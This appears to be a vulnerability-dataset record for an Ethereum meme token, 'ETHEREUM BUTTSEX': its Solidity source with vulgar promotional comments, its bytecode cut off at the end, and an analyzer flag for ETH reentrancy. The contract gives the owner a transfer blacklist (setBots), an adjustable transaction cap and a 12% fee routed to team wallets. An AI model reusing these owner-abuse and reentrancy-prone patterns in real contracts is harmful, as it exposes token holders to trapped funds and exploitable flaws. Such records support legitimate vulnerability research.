565b939b939a50919850919650505050505050565b6000826118b6575060006106ad565b60006118c28385611d93565b9050826118cf8583611d71565b146112e05760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610627565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f757600080fd5b803561195c8161193c565b919050565b6000602080838503121561197457600080fd5b823567ffffffffffffffff8082111561198c57600080fd5b818501915085601f8301126119a057600080fd5b8135818111156119b2576119b2611926565b8060051b604051601f19603f830116810181811085821117156119d7576119d7611926565b6040529182528482019250838101850191888311156119f557600080fd5b938501935b82851015611a1a57611a0b85611951565b845293850193928501926119fa565b98975050505050505050565b600060208083528351808285015260005b81811015611a5357858101830151858201604001528201611a37565b81811115611a65576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8e57600080fd5b8235611a998161193c565b946020939093013593505050565b600080600060608486031215611abc57600080fd5b8335611ac78161193c565b92506020840135611ad78161193c565b929592945050506040919091013590565b600060208284031215611afa57600080fd5b81356112e08161193c565b8035801515811461195c57600080fd5b600060208284031215611b2757600080fd5b6112e082611b05565b600060208284031215611b4257600080fd5b5035919050565b60008060008060808587031215611b5f57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b9057600080fd5b833567ffffffffffffffff80821115611ba857600080fd5b818601915086601f830112611bbc57600080fd5b813581811115611bcb57600080fd5b8760208260051b8501011115611be057600080fd5b602092830195509350611bf69186019050611b05565b90509250925092565b60008060408385031215611c1257600080fd5b8235611c1d8161193c565b91506020830135611c2d8161193c565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611cad57611cad611c83565b5060010190565b60008219821115611cc757611cc7611c83565b500190565b600082821015611cde57611cde611c83565b500390565b600060208284031215611cf557600080fd5b81516112e08161193c565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d505784516001600160a01b031683529383019391830191600101611d2b565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8e57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611dad57611dad611c83565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a0c2b15b05aa4fb220b53d3ae8dec866b985b90d21c3e3f4b88110b99f03cbeb64736f6c63430008090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
| 4,255 |
0x9c5e0ba4B0CfA7a215C32509E3864e568Df16785
|
/*
ETHEREUM BUTTSEX (eBUTTSEX🍑🍆)
TG: https://t.me/ETHEREUMBUTTSEX
INTRODUCING THE SUPREME PREMIERE MOST LAVISH DEFI
PROTOCOL SINCE SHIBA INU! ETHEREUM BUTTSEX IS
A FULLY FEATURED MEME DEFI ETHEREUM PROTOCOL BUILT
TO PENETRATE THE MARKET!
- Total supply of 5 Trillion
- Burn 15% of supply
- Full liquidity💦
- Cooldown enabled
- 5% reflection to holders
- Anti-bots
- Fair launch, buttsex for all!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.5;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract eBUTTEX is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ETHEREUM BUTTSEX";
string private constant _symbol = 'eBUTTSEX\xF0\x9F\x8D\x91\xF0\x9F\x8D\x86';
uint8 private constant _decimals = 9;
// RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 5000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 5;
uint256 private _teamFee = 12;
// Bot detection
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _teamAddress;
address payable private _marketingFunds;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_teamAddress = addr1;
_marketingFunds = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_teamAddress] = true;
_isExcludedFromFee[_marketingFunds] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _teamFee == 0) return;
_taxFee = 0;
_teamFee = 0;
}
function restoreAllFee() private {
_taxFee = 5;
_teamFee = 12;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_teamAddress.transfer(amount.div(2));
_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e71565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612978565b61045e565b6040516101789190612e56565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a39190613013565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce9190612925565b61048e565b6040516101e09190612e56565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061288b565b610567565b005b34801561021e57600080fd5b50610227610657565b6040516102349190613088565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a01565b610660565b005b34801561027257600080fd5b5061027b610712565b005b34801561028957600080fd5b506102a4600480360381019061029f919061288b565b610784565b6040516102b19190613013565b60405180910390f35b3480156102c657600080fd5b506102cf6107d5565b005b3480156102dd57600080fd5b506102e6610928565b6040516102f39190612d88565b60405180910390f35b34801561030857600080fd5b50610311610951565b60405161031e9190612e71565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612978565b61098e565b60405161035b9190612e56565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129b8565b6109ac565b005b34801561039957600080fd5b506103a2610ad6565b005b3480156103b057600080fd5b506103b9610b50565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a5b565b61109e565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128e5565b6111e8565b6040516104189190613013565b60405180910390f35b60606040518060400160405280601081526020017f455448455245554d204255545453455800000000000000000000000000000000815250905090565b600061047261046b61126f565b8484611277565b6001905092915050565b600069010f0cf064dd59200000905090565b600061049b848484611442565b61055c846104a761126f565b6105578560405180606001604052806028815260200161378f60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050d61126f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c019092919063ffffffff16565b611277565b600190509392505050565b61056f61126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f390612f53565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066861126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec90612f53565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075361126f565b73ffffffffffffffffffffffffffffffffffffffff161461077357600080fd5b600047905061078181611c65565b50565b60006107ce600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d60565b9050919050565b6107dd61126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461086a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086190612f53565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280601081526020017f6542555454534558f09f8d91f09f8d8600000000000000000000000000000000815250905090565b60006109a261099b61126f565b8484611442565b6001905092915050565b6109b461126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a41576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3890612f53565b60405180910390fd5b60005b8151811015610ad2576001600a6000848481518110610a6657610a656133d0565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aca90613329565b915050610a44565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1761126f565b73ffffffffffffffffffffffffffffffffffffffff1614610b3757600080fd5b6000610b4230610784565b9050610b4d81611dce565b50565b610b5861126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdc90612f53565b60405180910390fd5b600f60149054906101000a900460ff1615610c35576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2c90612fd3565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc630600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1669010f0cf064dd59200000611277565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0c57600080fd5b505afa158015610d20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4491906128b8565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da657600080fd5b505afa158015610dba573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dde91906128b8565b6040518363ffffffff1660e01b8152600401610dfb929190612da3565b602060405180830381600087803b158015610e1557600080fd5b505af1158015610e29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4d91906128b8565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed630610784565b600080610ee1610928565b426040518863ffffffff1660e01b8152600401610f0396959493929190612df5565b6060604051808303818588803b158015610f1c57600080fd5b505af1158015610f30573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f559190612a88565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff0219169083151502179055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611048929190612dcc565b602060405180830381600087803b15801561106257600080fd5b505af1158015611076573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061109a9190612a2e565b5050565b6110a661126f565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611133576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161112a90612f53565b60405180910390fd5b60008111611176576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116d90612f13565b60405180910390fd5b6111a660646111988369010f0cf064dd5920000061205690919063ffffffff16565b6120d190919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111dd9190613013565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112de90612fb3565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612ed3565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516114359190613013565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114a990612f93565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611522576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161151990612e93565b60405180910390fd5b60008111611565576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155c90612f73565b60405180910390fd5b61156d610928565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115db57506115ab610928565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b3e57600f60179054906101000a900460ff161561180e573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561165d57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116b75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117115750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561180d57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175761126f565b73ffffffffffffffffffffffffffffffffffffffff1614806117cd5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117b561126f565b73ffffffffffffffffffffffffffffffffffffffff16145b61180c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180390612ff3565b60405180910390fd5b5b5b60105481111561181d57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c15750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118ca57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119755750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119cb5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119e35750600f60179054906101000a900460ff165b15611a845742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3357600080fd5b603c42611a409190613149565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a8f30610784565b9050600f60159054906101000a900460ff16158015611afc5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b145750600f60169054906101000a900460ff165b15611b3c57611b2281611dce565b60004790506000811115611b3a57611b3947611c65565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611be55750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bef57600090505b611bfb8484848461211b565b50505050565b6000838311158290611c49576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c409190612e71565b60405180910390fd5b5060008385611c58919061322a565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cb56002846120d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce0573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d316002846120d190919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d5c573d6000803e3d6000fd5b5050565b6000600654821115611da7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611d9e90612eb3565b60405180910390fd5b6000611db1612148565b9050611dc681846120d190919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0657611e056133ff565b5b604051908082528060200260200182016040528015611e345781602001602082028036833780820191505090505b5090503081600081518110611e4c57611e4b6133d0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611eee57600080fd5b505afa158015611f02573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2691906128b8565b81600181518110611f3a57611f396133d0565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa130600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611277565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200595949392919061302e565b600060405180830381600087803b15801561201f57600080fd5b505af1158015612033573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561206957600090506120cb565b6000828461207791906131d0565b9050828482612086919061319f565b146120c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120bd90612f33565b60405180910390fd5b809150505b92915050565b600061211383836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612173565b905092915050565b80612129576121286121d6565b5b612134848484612207565b80612142576121416123d2565b5b50505050565b60008060006121556123e4565b9150915061216c81836120d190919063ffffffff16565b9250505090565b600080831182906121ba576040517f